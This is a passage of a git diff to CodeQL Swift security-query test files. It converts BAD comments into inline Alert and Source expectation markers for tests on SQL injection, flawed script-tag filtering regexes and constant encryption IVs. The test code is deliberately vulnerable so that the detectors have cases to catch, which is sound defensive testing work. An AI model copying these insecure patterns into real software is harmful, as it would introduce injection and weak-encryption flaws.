databaseValueConvertible.fetchSet(stmt, sql: remoteString) // $ Alert + databaseValueConvertible.fetchSet(stmt, sql: remoteString, arguments: StatementArguments()) // $ Alert + databaseValueConvertible.fetchSet(stmt, sql: remoteString, adapter: nil) // $ Alert + databaseValueConvertible.fetchSet(stmt, sql: remoteString, arguments: StatementArguments(), adapter: nil) // $ Alert databaseValueConvertible.fetchSet(stmt, sql: localString) // GOOD databaseValueConvertible.fetchSet(stmt, sql: localString, arguments: StatementArguments()) // GOOD databaseValueConvertible.fetchSet(stmt, sql: localString, adapter: nil) // GOOD @@ -329,26 +329,26 @@ func test(databaseValueConvertible: DatabaseValueConvertible, stmt: Statement) t func testSqlStatementCursor(database: Database) throws { let localString = "user" - let remoteString = try String(contentsOf: URL(string: "http://example.com/")!) + let remoteString = try String(contentsOf: URL(string: "http://example.com/")!) // $ Source - let _ = SQLStatementCursor(database: database, sql: remoteString, arguments: StatementArguments()) // BAD - let _ = SQLStatementCursor(database: database, sql: remoteString, arguments: StatementArguments(), prepFlags: 0) // BAD + let _ = SQLStatementCursor(database: database, sql: remoteString, arguments: StatementArguments()) // $ Alert + let _ = SQLStatementCursor(database: database, sql: remoteString, arguments: StatementArguments(), prepFlags: 0) // $ Alert let _ = SQLStatementCursor(database: database, sql: localString, arguments: StatementArguments()) // GOOD let _ = SQLStatementCursor(database: database, sql: localString, arguments: StatementArguments(), prepFlags: 0) // GOOD } func testCommonTableExpression() throws { let localString = "user" - let remoteString = try String(contentsOf: URL(string: "http://example.com/")!) + let remoteString = try String(contentsOf: URL(string: "http://example.com/")!) // $ Source - let _ = CommonTableExpression(named: "", sql: remoteString) // BAD - let _ = CommonTableExpression(named: "", sql: remoteString, arguments: StatementArguments()) // BAD - let _ = CommonTableExpression(named: "", columns: [""], sql: remoteString) // BAD - let _ = CommonTableExpression(named: "", columns: [""], sql: remoteString, arguments: StatementArguments()) // BAD - let _ = CommonTableExpression(recursive: false, named: "", sql: remoteString) // BAD - let _ = CommonTableExpression(recursive: false, named: "", columns: [""], sql: remoteString) // BAD - let _ = CommonTableExpression(recursive: false, named: "", sql: remoteString, arguments: StatementArguments()) // BAD - let _ = CommonTableExpression(recursive: false, named: "", columns: [""], sql: remoteString, arguments: StatementArguments()) // BAD + let _ = CommonTableExpression(named: "", sql: remoteString) // $ Alert + let _ = CommonTableExpression(named: "", sql: remoteString, arguments: StatementArguments()) // $ Alert + let _ = CommonTableExpression(named: "", columns: [""], sql: remoteString) // $ Alert + let _ = CommonTableExpression(named: "", columns: [""], sql: remoteString, arguments: StatementArguments()) // $ Alert + let _ = CommonTableExpression(recursive: false, named: "", sql: remoteString) // $ Alert + let _ = CommonTableExpression(recursive: false, named: "", columns: [""], sql: remoteString) // $ Alert + let _ = CommonTableExpression(recursive: false, named: "", sql: remoteString, arguments: StatementArguments()) // $ Alert + let _ = CommonTableExpression(recursive: false, named: "", columns: [""], sql: remoteString, arguments: StatementArguments()) // $ Alert let _ = CommonTableExpression(named: "", sql: localString) // GOOD let _ = CommonTableExpression(named: "", sql: localString, arguments: StatementArguments()) // GOOD let _ = CommonTableExpression(named: "", columns: [""], sql: localString) // GOOD diff --git a/swift/ql/test/query-tests/Security/CWE-089/SQLite.swift b/swift/ql/test/query-tests/Security/CWE-089/SQLite.swift index f9a6b41340c..5973866fb25 100644 --- a/swift/ql/test/query-tests/Security/CWE-089/SQLite.swift +++ b/swift/ql/test/query-tests/Security/CWE-089/SQLite.swift @@ -59,7 +59,7 @@ class Connection { func test_sqlite_swift_api(db: Connection) throws { let localString = "user" - let remoteString = try String(contentsOf: URL(string: "http://example.com/")!) + let remoteString = try String(contentsOf: URL(string: "http://example.com/")!) // $ Source let remoteNumber = Int(remoteString) ?? 0 let unsafeQuery1 = remoteString @@ -70,9 +70,9 @@ func test_sqlite_swift_api(db: Connection) throws { // --- execute --- - try db.execute(unsafeQuery1) // BAD - try db.execute(unsafeQuery2) // BAD - try db.execute(unsafeQuery3) // BAD + try db.execute(unsafeQuery1) // $ Alert + try db.execute(unsafeQuery2) // $ Alert + try db.execute(unsafeQuery3) // $ Alert try db.execute(safeQuery1) // GOOD try db.execute(safeQuery2) // GOOD @@ -80,7 +80,7 @@ func test_sqlite_swift_api(db: Connection) throws { let varQuery = "SELECT * FROM users WHERE username=?" - let stmt1 = try db.prepare(unsafeQuery3) // BAD + let stmt1 = try db.prepare(unsafeQuery3) // $ Alert try stmt1.run() let stmt2 = try db.prepare(varQuery, localString) // GOOD @@ -92,31 +92,31 @@ func test_sqlite_swift_api(db: Connection) throws { let stmt4 = try Statement(db, localString) // GOOD try stmt4.run() - let stmt5 = try Statement(db, remoteString) // BAD + let stmt5 = try Statement(db, remoteString) // $ Alert try stmt5.run() // --- more variants --- - let stmt6 = try db.prepare(unsafeQuery1, "") // BAD + let stmt6 = try db.prepare(unsafeQuery1, "") // $ Alert try stmt6.run() - let stmt7 = try db.prepare(unsafeQuery1, [""]) // BAD + let stmt7 = try db.prepare(unsafeQuery1, [""]) // $ Alert try stmt7.run() - let stmt8 = try db.prepare(unsafeQuery1, ["username": ""]) // BAD + let stmt8 = try db.prepare(unsafeQuery1, ["username": ""]) // $ Alert try stmt8.run() - try db.run(unsafeQuery1, "") // BAD + try db.run(unsafeQuery1, "") // $ Alert - try db.run(unsafeQuery1, [""]) // BAD + try db.run(unsafeQuery1, [""]) // $ Alert - try db.run(unsafeQuery1, ["username": ""]) // BAD + try db.run(unsafeQuery1, ["username": ""]) // $ Alert - try db.scalar(unsafeQuery1, "") // BAD + try db.scalar(unsafeQuery1, "") // $ Alert - try db.scalar(unsafeQuery1, [""]) // BAD + try db.scalar(unsafeQuery1, [""]) // $ Alert - try db.scalar(unsafeQuery1, ["username": ""]) // BAD + try db.scalar(unsafeQuery1, ["username": ""]) // $ Alert let stmt9 = try db.prepare(varQuery) // GOOD try stmt9.bind(remoteString) // GOOD @@ -129,5 +129,5 @@ func test_sqlite_swift_api(db: Connection) throws { try stmt9.scalar([remoteString]) // GOOD try stmt9.scalar(["username": remoteString]) // GOOD - try Statement(db, remoteString).run() // BAD + try Statement(db, remoteString).run() // $ Alert } diff --git a/swift/ql/test/query-tests/Security/CWE-089/SqlInjection.qlref b/swift/ql/test/query-tests/Security/CWE-089/SqlInjection.qlref index eaf19a94546..654631d8a09 100644 --- a/swift/ql/test/query-tests/Security/CWE-089/SqlInjection.qlref +++ b/swift/ql/test/query-tests/Security/CWE-089/SqlInjection.qlref @@ -1 +1,2 @@ -queries/Security/CWE-089/SqlInjection.ql \ No newline at end of file +query: queries/Security/CWE-089/SqlInjection.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/swift/ql/test/query-tests/Security/CWE-089/other.swift b/swift/ql/test/query-tests/Security/CWE-089/other.swift index 52cafbb1545..cb36c8f8828 100644 --- a/swift/ql/test/query-tests/Security/CWE-089/other.swift +++ b/swift/ql/test/query-tests/Security/CWE-089/other.swift @@ -43,18 +43,18 @@ class MyDatabase { // --- tests --- func test_heuristic(db: MyDatabase) throws { - let remoteString = try String(contentsOf: URL(string: "http://example.com/")!) + let remoteString = try String(contentsOf: URL(string: "http://example.com/")!) // $ Source _ = MyDatabase() // GOOD _ = MyDatabase(sql: "some_fixed_sql") // GOOD - _ = MyDatabase(sql: remoteString) // BAD + _ = MyDatabase(sql: remoteString) // $ Alert - db.execute1(remoteString) // BAD - db.execute2(remoteString) // BAD - db.execute3(NSString(string: remoteString)) // BAD - db.execute4(remoteString as! Sql) // BAD + db.execute1(remoteString) // $ Alert + db.execute2(remoteString) // $ Alert + db.execute3(NSString(string: remoteString)) // $ Alert + db.execute4(remoteString as! Sql) // $ Alert - db.query(sql: remoteString) // BAD + db.query(sql: remoteString) // $ Alert db.query(sqlLiteral: remoteString) // BAD [NOT DETECTED] db.query(sqlStatement: remoteString) // BAD [NOT DETECTED] db.query(sqliteStatement: remoteString) // BAD [NOT DETECTED] diff --git a/swift/ql/test/query-tests/Security/CWE-089/sqlite3_c_api.swift b/swift/ql/test/query-tests/Security/CWE-089/sqlite3_c_api.swift index 8498d89d68d..b4e7451b916 100644 --- a/swift/ql/test/query-tests/Security/CWE-089/sqlite3_c_api.swift +++ b/swift/ql/test/query-tests/Security/CWE-089/sqlite3_c_api.swift @@ -119,7 +119,7 @@ func sqlite3_finalize( func test_sqlite3_c_api(db: OpaquePointer?, buffer: UnsafeMutablePointer) { let localString = "user" - let remoteString = try! String(contentsOf: URL(string: "http://example.com/")!) + let remoteString = try! String(contentsOf: URL(string: "http://example.com/")!) // $ Source let remoteNumber = Int(remoteString) ?? 0 let unsafeQuery1 = remoteString @@ -130,9 +130,9 @@ func test_sqlite3_c_api(db: OpaquePointer?, buffer: UnsafeMutablePointer) // --- exec --- - let result1 = sqlite3_exec(db, unsafeQuery1, nil, nil, nil) // BAD - let result2 = sqlite3_exec(db, unsafeQuery2, nil, nil, nil) // BAD - let result3 = sqlite3_exec(db, unsafeQuery3, nil, nil, nil) // BAD + let result1 = sqlite3_exec(db, unsafeQuery1, nil, nil, nil) // $ Alert + let result2 = sqlite3_exec(db, unsafeQuery2, nil, nil, nil) // $ Alert + let result3 = sqlite3_exec(db, unsafeQuery3, nil, nil, nil) // $ Alert let result4 = sqlite3_exec(db, safeQuery1, nil, nil, nil) // GOOD let result5 = sqlite3_exec(db, safeQuery2, nil, nil, nil) // GOOD @@ -142,7 +142,7 @@ func test_sqlite3_c_api(db: OpaquePointer?, buffer: UnsafeMutablePointer) var stmt1: OpaquePointer? - if (sqlite3_prepare(db, unsafeQuery3, -1, &stmt1, nil) == SQLITE_OK) { // BAD + if (sqlite3_prepare(db, unsafeQuery3, -1, &stmt1, nil) == SQLITE_OK) { // $ Alert let result = sqlite3_step(stmt1) // ... } @@ -172,7 +172,7 @@ func test_sqlite3_c_api(db: OpaquePointer?, buffer: UnsafeMutablePointer) var stmt4: OpaquePointer? - if (sqlite3_prepare_v2(db, unsafeQuery3, -1, &stmt4, nil) == SQLITE_OK) { // BAD + if (sqlite3_prepare_v2(db, unsafeQuery3, -1, &stmt4, nil) == SQLITE_OK) { // $ Alert let result = sqlite3_step(stmt4) // ... } @@ -180,7 +180,7 @@ func test_sqlite3_c_api(db: OpaquePointer?, buffer: UnsafeMutablePointer) var stmt5: OpaquePointer? - if (sqlite3_prepare_v3(db, unsafeQuery3, -1, 0, &stmt5, nil) == SQLITE_OK) { // BAD + if (sqlite3_prepare_v3(db, unsafeQuery3, -1, 0, &stmt5, nil) == SQLITE_OK) { // $ Alert let result = sqlite3_step(stmt5) // ... } @@ -191,7 +191,7 @@ func test_sqlite3_c_api(db: OpaquePointer?, buffer: UnsafeMutablePointer) var stmt6: OpaquePointer? - if (sqlite3_prepare16(db, buffer, Int32(data.count), &stmt6, nil) == SQLITE_OK) { // BAD + if (sqlite3_prepare16(db, buffer, Int32(data.count), &stmt6, nil) == SQLITE_OK) { // $ Alert let result = sqlite3_step(stmt6) // ... } @@ -199,7 +199,7 @@ func test_sqlite3_c_api(db: OpaquePointer?, buffer: UnsafeMutablePointer) var stmt7: OpaquePointer? - if (sqlite3_prepare16_v2(db, buffer, Int32(data.count), &stmt7, nil) == SQLITE_OK) { // BAD + if (sqlite3_prepare16_v2(db, buffer, Int32(data.count), &stmt7, nil) == SQLITE_OK) { // $ Alert let result = sqlite3_step(stmt7) // ... } @@ -207,7 +207,7 @@ func test_sqlite3_c_api(db: OpaquePointer?, buffer: UnsafeMutablePointer) var stmt8: OpaquePointer? - if (sqlite3_prepare16_v3(db, buffer, Int32(data.count), 0, &stmt8, nil) == SQLITE_OK) { // BAD + if (sqlite3_prepare16_v3(db, buffer, Int32(data.count), 0, &stmt8, nil) == SQLITE_OK) { // $ Alert let result = sqlite3_step(stmt8) // ... } diff --git a/swift/ql/test/query-tests/Security/CWE-116/BadTagFilter.qlref b/swift/ql/test/query-tests/Security/CWE-116/BadTagFilter.qlref index 8186dfa236f..67e973ba99e 100644 --- a/swift/ql/test/query-tests/Security/CWE-116/BadTagFilter.qlref +++ b/swift/ql/test/query-tests/Security/CWE-116/BadTagFilter.qlref @@ -1 +1,2 @@ -queries/Security/CWE-116/BadTagFilter.ql \ No newline at end of file +query: queries/Security/CWE-116/BadTagFilter.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/swift/ql/test/query-tests/Security/CWE-116/test.swift b/swift/ql/test/query-tests/Security/CWE-116/test.swift index e2e88135dd6..be6cbc0dcdd 100644 --- a/swift/ql/test/query-tests/Security/CWE-116/test.swift +++ b/swift/ql/test/query-tests/Security/CWE-116/test.swift @@ -76,18 +76,18 @@ func myRegexpVariantsTests(myUrl: URL) throws { let tainted = String(contentsOf: myUrl) // tainted // BAD - doesn't match newlines or `` - let re1 = try Regex(#".*?<\/script>"#).ignoresCase(true) + let re1 = try Regex(#".*?<\/script>"#).ignoresCase(true) // $ Alert _ = try re1.firstMatch(in: tainted) // BAD - doesn't match `` - let re2a = try Regex(#"(?is).*?<\/script>"#) + let re2a = try Regex(#"(?is).*?<\/script>"#) // $ Alert _ = try re2a.firstMatch(in: tainted) // BAD - doesn't match `` - let re2b = try Regex(#".*?<\/script>"#).ignoresCase(true).dotMatchesNewlines(true) + let re2b = try Regex(#".*?<\/script>"#).ignoresCase(true).dotMatchesNewlines(true) // $ Alert _ = try re2b.firstMatch(in: tainted) // BAD - doesn't match `` let options2c: NSRegularExpression.Options = [.caseInsensitive, .dotMatchesLineSeparators] - let ns2c = try NSRegularExpression(pattern: #".*?<\/script>"#, options: options2c) + let ns2c = try NSRegularExpression(pattern: #".*?<\/script>"#, options: options2c) // $ Alert _ = ns2c.firstMatch(in: tainted, range: NSMakeRange(0, tainted.utf16.count)) // GOOD @@ -110,71 +110,71 @@ func myRegexpVariantsTests(myUrl: URL) throws { _ = try re5.firstMatch(in: tainted) // BAD, does not match newlines - let re6 = try Regex(#")|([^\/\s>]+)[\S\s]*?>"#) + let re16 = try Regex(#"<(?:!--([\S|\s]*?)-->)|([^\/\s>]+)[\S\s]*?>"#) // $ Alert _ = try re16.firstMatch(in: tainted) // BAD - doesn't match comments with the right capture groups - let ns16 = try NSRegularExpression(pattern: #"<(?:!--([\S|\s]*?)-->)|([^\/\s>]+)[\S\s]*?>"#) + let ns16 = try NSRegularExpression(pattern: #"<(?:!--([\S|\s]*?)-->)|([^\/\s>]+)[\S\s]*?>"#) // $ Alert _ = ns16.firstMatch(in: tainted, range: NSMakeRange(0, tainted.utf16.count)) // BAD - capture groups - let re17 = try Regex(#"<(?:(?:\/([^>]+)>)|(?:!--([\S|\s]*?)-->)|(?:([^\/\s>]+)((?:\s+[\w\-:.]+(?:\s*=\s*?(?:(?:"[^"]*")|(?:'[^']*')|[^\s"'\/>]+))?)*)[\S\s]*?(\/?)>))"#) + let re17 = try Regex(#"<(?:(?:\/([^>]+)>)|(?:!--([\S|\s]*?)-->)|(?:([^\/\s>]+)((?:\s+[\w\-:.]+(?:\s*=\s*?(?:(?:"[^"]*")|(?:'[^']*')|[^\s"'\/>]+))?)*)[\S\s]*?(\/?)>))"#) // $ Alert _ = try re17.firstMatch(in: tainted) // BAD - capture groups - let ns17 = try NSRegularExpression(pattern: #"<(?:(?:\/([^>]+)>)|(?:!--([\S|\s]*?)-->)|(?:([^\/\s>]+)((?:\s+[\w\-:.]+(?:\s*=\s*?(?:(?:"[^"]*")|(?:'[^']*')|[^\s"'\/>]+))?)*)[\S\s]*?(\/?)>))"#, options: .caseInsensitive) + let ns17 = try NSRegularExpression(pattern: #"<(?:(?:\/([^>]+)>)|(?:!--([\S|\s]*?)-->)|(?:([^\/\s>]+)((?:\s+[\w\-:.]+(?:\s*=\s*?(?:(?:"[^"]*")|(?:'[^']*')|[^\s"'\/>]+))?)*)[\S\s]*?(\/?)>))"#, options: .caseInsensitive) // $ Alert _ = ns17.firstMatch(in: tainted, range: NSMakeRange(0, tainted.utf16.count)) // BAD - too strict matching on the end tag - let ns2_1 = try NSRegularExpression(pattern: #"]*>([\s\S]*?)<\/script>"#, options: .caseInsensitive) + let ns2_1 = try NSRegularExpression(pattern: #"]*>([\s\S]*?)<\/script>"#, options: .caseInsensitive) // $ Alert _ = ns2_1.matches(in: tainted, range: NSMakeRange(0, tainted.utf16.count)) // BAD - capture groups - let ns2_2 = try NSRegularExpression(pattern: #"(<[a-z\/!$]("[^"]*"|'[^']*'|[^'">])*>|)"#, options: .caseInsensitive) + let ns2_2 = try NSRegularExpression(pattern: #"(<[a-z\/!$]("[^"]*"|'[^']*'|[^'">])*>|)"#, options: .caseInsensitive) // $ Alert _ = ns2_2.matches(in: tainted, range: NSMakeRange(0, tainted.utf16.count)) // BAD - capture groups - let ns2_3 = try NSRegularExpression(pattern: #"<(?:(?:!--([\w\W]*?)-->)|(?:!\[CDATA\[([\w\W]*?)\]\]>)|(?:!DOCTYPE([\w\W]*?)>)|(?:\?([^\s\/<>]+) ?([\w\W]*?)[?/]>)|(?:\/([A-Za-z][A-Za-z0-9\-_\:\.]*)>)|(?:([A-Za-z][A-Za-z0-9\-_\:\.]*)((?:\s+[^"'>]+(?:(?:"[^"]*")|(?:'[^']*')|[^>]*))*|\/|\s+)>))"#) + let ns2_3 = try NSRegularExpression(pattern: #"<(?:(?:!--([\w\W]*?)-->)|(?:!\[CDATA\[([\w\W]*?)\]\]>)|(?:!DOCTYPE([\w\W]*?)>)|(?:\?([^\s\/<>]+) ?([\w\W]*?)[?/]>)|(?:\/([A-Za-z][A-Za-z0-9\-_\:\.]*)>)|(?:([A-Za-z][A-Za-z0-9\-_\:\.]*)((?:\s+[^"'>]+(?:(?:"[^"]*")|(?:'[^']*')|[^>]*))*|\/|\s+)>))"#) // $ Alert _ = ns2_3.matches(in: tainted, range: NSMakeRange(0, tainted.utf16.count)) // BAD - capture groups - let ns2_4 = try NSRegularExpression(pattern: #"|<([^>]*?)>"#) + let ns2_4 = try NSRegularExpression(pattern: #"|<([^>]*?)>"#) // $ Alert _ = ns2_4.matches(in: tainted, range: NSMakeRange(0, tainted.utf16.count)) // GOOD - it's used with the ignorecase flag @@ -222,7 +222,7 @@ func myRegexpVariantsTests(myUrl: URL) throws { _ = ns2_5.matches(in: tainted, range: NSMakeRange(0, tainted.utf16.count)) // BAD - doesn't match --!> - let ns2_6 = try NSRegularExpression(pattern: #"-->"#) + let ns2_6 = try NSRegularExpression(pattern: #"-->"#) // $ Alert _ = ns2_6.matches(in: tainted, range: NSMakeRange(0, tainted.utf16.count)) // GOOD diff --git a/swift/ql/test/query-tests/Security/CWE-1204/StaticInitializationVector.qlref b/swift/ql/test/query-tests/Security/CWE-1204/StaticInitializationVector.qlref index 36f922580f7..6106d4b12ad 100644 --- a/swift/ql/test/query-tests/Security/CWE-1204/StaticInitializationVector.qlref +++ b/swift/ql/test/query-tests/Security/CWE-1204/StaticInitializationVector.qlref @@ -1 +1,2 @@ -queries/Security/CWE-1204/StaticInitializationVector.ql +query: queries/Security/CWE-1204/StaticInitializationVector.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/swift/ql/test/query-tests/Security/CWE-1204/rncryptor.swift b/swift/ql/test/query-tests/Security/CWE-1204/rncryptor.swift index 253804cabf1..319c4c927ed 100644 --- a/swift/ql/test/query-tests/Security/CWE-1204/rncryptor.swift +++ b/swift/ql/test/query-tests/Security/CWE-1204/rncryptor.swift @@ -57,28 +57,28 @@ func test(myPassword: String) { let myKeyDerivationSettings = RNCryptorKeyDerivationSettings() let myHandler = {} let myRandomIV = Data(getRandomArray()) - let myConstIV1 = Data(0) - let myConstIV2 = Data(123) - let myConstIV3 = Data([1,2,3,4,5]) - let myConstIV4 = Data("iv") + let myConstIV1 = Data(0) // $ Source + let myConstIV2 = Data(123) // $ Source + let myConstIV3 = Data([1,2,3,4,5]) // $ Source + let myConstIV4 = Data("iv") // $ Source let mySalt = Data(0) let mySalt2 = Data(0) let _ = RNEncryptor(settings: kRNCryptorAES256Settings, encryptionKey: myKey, hmacKey: myHMACKey, iv: myRandomIV, handler: myHandler) // GOOD - let _ = RNEncryptor(settings: kRNCryptorAES256Settings, encryptionKey: myKey, hmacKey: myHMACKey, iv: myConstIV1, handler: myHandler) // BAD + let _ = RNEncryptor(settings: kRNCryptorAES256Settings, encryptionKey: myKey, hmacKey: myHMACKey, iv: myConstIV1, handler: myHandler) // $ Alert let _ = RNEncryptor(settings: kRNCryptorAES256Settings, encryptionKey: myKey, HMACKey: myHMACKey, IV: myRandomIV, handler: myHandler) // GOOD - let _ = RNEncryptor(settings: kRNCryptorAES256Settings, encryptionKey: myKey, HMACKey: myHMACKey, IV: myConstIV2, handler: myHandler) // BAD + let _ = RNEncryptor(settings: kRNCryptorAES256Settings, encryptionKey: myKey, HMACKey: myHMACKey, IV: myConstIV2, handler: myHandler) // $ Alert let _ = RNEncryptor(settings: kRNCryptorAES256Settings, password: myPassword, iv: myRandomIV, encryptionSalt: mySalt, hmacSalt: mySalt2, handler: myHandler) // GOOD - let _ = RNEncryptor(settings: kRNCryptorAES256Settings, password: myPassword, iv: myConstIV3, encryptionSalt: mySalt, hmacSalt: mySalt2, handler: myHandler) // BAD + let _ = RNEncryptor(settings: kRNCryptorAES256Settings, password: myPassword, iv: myConstIV3, encryptionSalt: mySalt, hmacSalt: mySalt2, handler: myHandler) // $ Alert let _ = RNEncryptor(settings: kRNCryptorAES256Settings, password: myPassword, IV: myRandomIV, encryptionSalt: mySalt, HMACSalt: mySalt2, handler: myHandler) // GOOD - let _ = RNEncryptor(settings: kRNCryptorAES256Settings, password: myPassword, IV: myConstIV4, encryptionSalt: mySalt, HMACSalt: mySalt2, handler: myHandler) // BAD + let _ = RNEncryptor(settings: kRNCryptorAES256Settings, password: myPassword, IV: myConstIV4, encryptionSalt: mySalt, HMACSalt: mySalt2, handler: myHandler) // $ Alert let _ = try? myEncryptor.encryptData(myData, with: kRNCryptorAES256Settings, encryptionKey: myKey, hmacKey: myHMACKey, iv: myRandomIV) // GOOD - let _ = try? myEncryptor.encryptData(myData, with: kRNCryptorAES256Settings, encryptionKey: myKey, hmacKey: myHMACKey, iv: myConstIV1) // BAD + let _ = try? myEncryptor.encryptData(myData, with: kRNCryptorAES256Settings, encryptionKey: myKey, hmacKey: myHMACKey, iv: myConstIV1) // $ Alert let _ = try? myEncryptor.encryptData(myData, withSettings: kRNCryptorAES256Settings, encryptionKey: myKey, HMACKey: myHMACKey, IV: myRandomIV) // GOOD - let _ = try? myEncryptor.encryptData(myData, withSettings: kRNCryptorAES256Settings, encryptionKey: myKey, HMACKey: myHMACKey, IV: myConstIV2) // BAD + let _ = try? myEncryptor.encryptData(myData, withSettings: kRNCryptorAES256Settings, encryptionKey: myKey, HMACKey: myHMACKey, IV: myConstIV2) // $ Alert let _ = try? myEncryptor.encryptData(myData, with: kRNCryptorAES256Settings, password: myPassword, iv: myRandomIV, encryptionSalt: mySalt, hmacSalt: mySalt2) // GOOD - let _ = try? myEncryptor.encryptData(myData, with: kRNCryptorAES256Settings, password: myPassword, iv: myConstIV3, encryptionSalt: mySalt, hmacSalt: mySalt2) // BAD + let _ = try? myEncryptor.encryptData(myData, with: kRNCryptorAES256Settings, password: myPassword, iv: myConstIV3, encryptionSalt: mySalt, hmacSalt: mySalt2) // $ Alert let _ = try? myEncryptor.encryptData(myData, withSettings: kRNCryptorAES256Settings, password: myPassword, IV: myRandomIV, encryptionSalt: mySalt, HMACSalt: mySalt2) // GOOD - let _ = try? myEncryptor.encryptData(myData, withSettings: kRNCryptorAES256Settings, password: myPassword, IV: myConstIV4, encryptionSalt: mySalt, HMACSalt: mySalt2) // BAD + let _ = try? myEncryptor.encryptData(myData, withSettings: kRNCryptorAES256Settings, password: myPassword, IV: myConstIV4, encryptionSalt: mySalt, HMACSalt: mySalt2) // $ Alert } diff --git a/swift/ql/test/query-tests/Security/CWE-1204/test.swift b/swift/ql/test/query-tests/Security/CWE-1204/test.swift index 273556ce5bb..8536996ca3a 100644 --- a/swift/ql/test/query-tests/Security/CWE-1204/test.swift +++ b/swift/ql/test/query-tests/Security/CWE-1204/test.swift @@ -51,7 +51,7 @@ final class GCM: BlockMode { enum Mode { case combined, detached } init(iv: Array, additionalAuthenticatedData: Array? = nil, tagLength: Int = 16, mode: Mode = .detached) { } convenience init(iv: Array, authenticationTag: Array, additionalAuthenticatedData: Array? = nil, mode: Mode = .detached) { - self.init(iv: iv, additionalAuthenticatedData: additionalAuthenticatedData, tagLength: authenticationTag.count, mode: mode) + self.init(iv: iv, additionalAuthenticatedData: additionalAuthenticatedData, tagLength: authenticationTag.count, mode: mode) // $ Alert } } @@ -82,7 +82,7 @@ enum Padding: PaddingProtocol { // Helper functions func getConstantString() -> String { - "this string is constant" + "this string is constant" // $ Source } func getConstantArray() -> Array { @@ -96,7 +96,7 @@ func getRandomArray() -> Array { // --- tests --- func test() { - let iv: Array = [0x2a, 0x3a, 0x80, 0x05, 0xaf, 0x46, 0x58, 0x2d, 0x66, 0x52, 0x10, 0xae, 0x86, 0xd3, 0x8e, 0x8f] + let iv: Array = [0x2a, 0x3a, 0x80, 0x05, 0xaf, 0x46, 0x58, 0x2d, 0x66, 0x52, 0x10, 0xae, 0x86, 0xd3, 0x8e, 0x8f] // $ Source let iv2 = getConstantArray() let ivString = getConstantString() @@ -109,63 +109,63 @@ func test() { let keyString = String(cString: key) // AES test cases - let ab1 = AES(key: keyString, iv: ivString) // BAD - let ab2 = AES(key: keyString, iv: ivString, padding: padding) // BAD + let ab1 = AES(key: keyString, iv: ivString) // $ Alert + let ab2 = AES(key: keyString, iv: ivString, padding: padding) // $ Alert let ag1 = AES(key: keyString, iv: randomIvString) // GOOD let ag2 = AES(key: keyString, iv: randomIvString, padding: padding) // GOOD // ChaCha20 test cases - let cb1 = ChaCha20(key: keyString, iv: ivString) // BAD + let cb1 = ChaCha20(key: keyString, iv: ivString) // $ Alert let cg1 = ChaCha20(key: keyString, iv: randomIvString) // GOOD // Blowfish test cases - let bb1 = Blowfish(key: keyString, iv: ivString) // BAD - let bb2 = Blowfish(key: keyString, iv: ivString, padding: padding) // BAD + let bb1 = Blowfish(key: keyString, iv: ivString) // $ Alert + let bb2 = Blowfish(key: keyString, iv: ivString, padding: padding) // $ Alert let bg1 = Blowfish(key: keyString, iv: randomIvString) // GOOD let bg2 = Blowfish(key: keyString, iv: randomIvString, padding: padding) // GOOD // Rabbit - let rb1 = Rabbit(key: key, iv: iv) // BAD - let rb2 = Rabbit(key: key, iv: iv2) // BAD - let rb3 = Rabbit(key: keyString, iv: ivString) // BAD + let rb1 = Rabbit(key: key, iv: iv) // $ Alert + let rb2 = Rabbit(key: key, iv: iv2) // $ Alert + let rb3 = Rabbit(key: keyString, iv: ivString) // $ Alert let rg1 = Rabbit(key: key, iv: randomIv) // GOOD let rg2 = Rabbit(key: keyString, iv: randomIvString) // GOOD // CBC - let cbcb1 = CBC(iv: iv) // BAD + let cbcb1 = CBC(iv: iv) // $ Alert let cbcg1 = CBC(iv: randomIv) // GOOD // CFB - let cfbb1 = CFB(iv: iv) // BAD - let cfbb2 = CFB(iv: iv, segmentSize: CFB.SegmentSize.cfb8) // BAD + let cfbb1 = CFB(iv: iv) // $ Alert + let cfbb2 = CFB(iv: iv, segmentSize: CFB.SegmentSize.cfb8) // $ Alert let cfbg1 = CFB(iv: randomIv) // GOOD let cfbg2 = CFB(iv: randomIv, segmentSize: CFB.SegmentSize.cfb8) // GOOD // GCM - let cgmb1 = GCM(iv: iv) // BAD - let cgmb2 = GCM(iv: iv, additionalAuthenticatedData: randomArray, tagLength: 8, mode: GCM.Mode.combined) // BAD - let cgmb3 = GCM(iv: iv, authenticationTag: randomArray, additionalAuthenticatedData: randomArray, mode: GCM.Mode.combined) // BAD + let cgmb1 = GCM(iv: iv) // $ Alert + let cgmb2 = GCM(iv: iv, additionalAuthenticatedData: randomArray, tagLength: 8, mode: GCM.Mode.combined) // $ Alert + let cgmb3 = GCM(iv: iv, authenticationTag: randomArray, additionalAuthenticatedData: randomArray, mode: GCM.Mode.combined) // $ Alert let cgmg1 = GCM(iv: randomIv) // GOOD let cgmg2 = GCM(iv: randomIv, additionalAuthenticatedData: randomArray, tagLength: 8, mode: GCM.Mode.combined) // GOOD let cgmg3 = GCM(iv: randomIv, authenticationTag: randomArray, additionalAuthenticatedData: randomArray, mode: GCM.Mode.combined) // GOOD // OFB - let ofbb1 = OFB(iv: iv) // BAD + let ofbb1 = OFB(iv: iv) // $ Alert let ofbg1 = OFB(iv: randomIv) // GOOD // PCBC - let pcbcb1 = PCBC(iv: iv) // BAD + let pcbcb1 = PCBC(iv: iv) // $ Alert let pcbcg1 = PCBC(iv: randomIv) // GOOD // CCM - let ccmb1 = CCM(iv: iv, tagLength: 0, messageLength: 0, additionalAuthenticatedData: randomArray) // BAD - let ccmb2 = CCM(iv: iv, tagLength: 0, messageLength: 0, authenticationTag: randomArray, additionalAuthenticatedData: randomArray) // BAD + let ccmb1 = CCM(iv: iv, tagLength: 0, messageLength: 0, additionalAuthenticatedData: randomArray) // $ Alert + let ccmb2 = CCM(iv: iv, tagLength: 0, messageLength: 0, authenticationTag: randomArray, additionalAuthenticatedData: randomArray) // $ Alert let ccmg1 = CCM(iv: randomIv, tagLength: 0, messageLength: 0, additionalAuthenticatedData: randomArray) // GOOD let ccmg2 = CCM(iv: randomIv, tagLength: 0, messageLength: 0, authenticationTag: randomArray, additionalAuthenticatedData: randomArray) // GOOD // CTR - let ctrb1 = CTR(iv: iv) // BAD - let ctrb2 = CTR(iv: iv, counter: 0) // BAD + let ctrb1 = CTR(iv: iv) // $ Alert + let ctrb2 = CTR(iv: iv, counter: 0) // $ Alert let ctrg1 = CTR(iv: randomIv) // GOOD let ctrg2 = 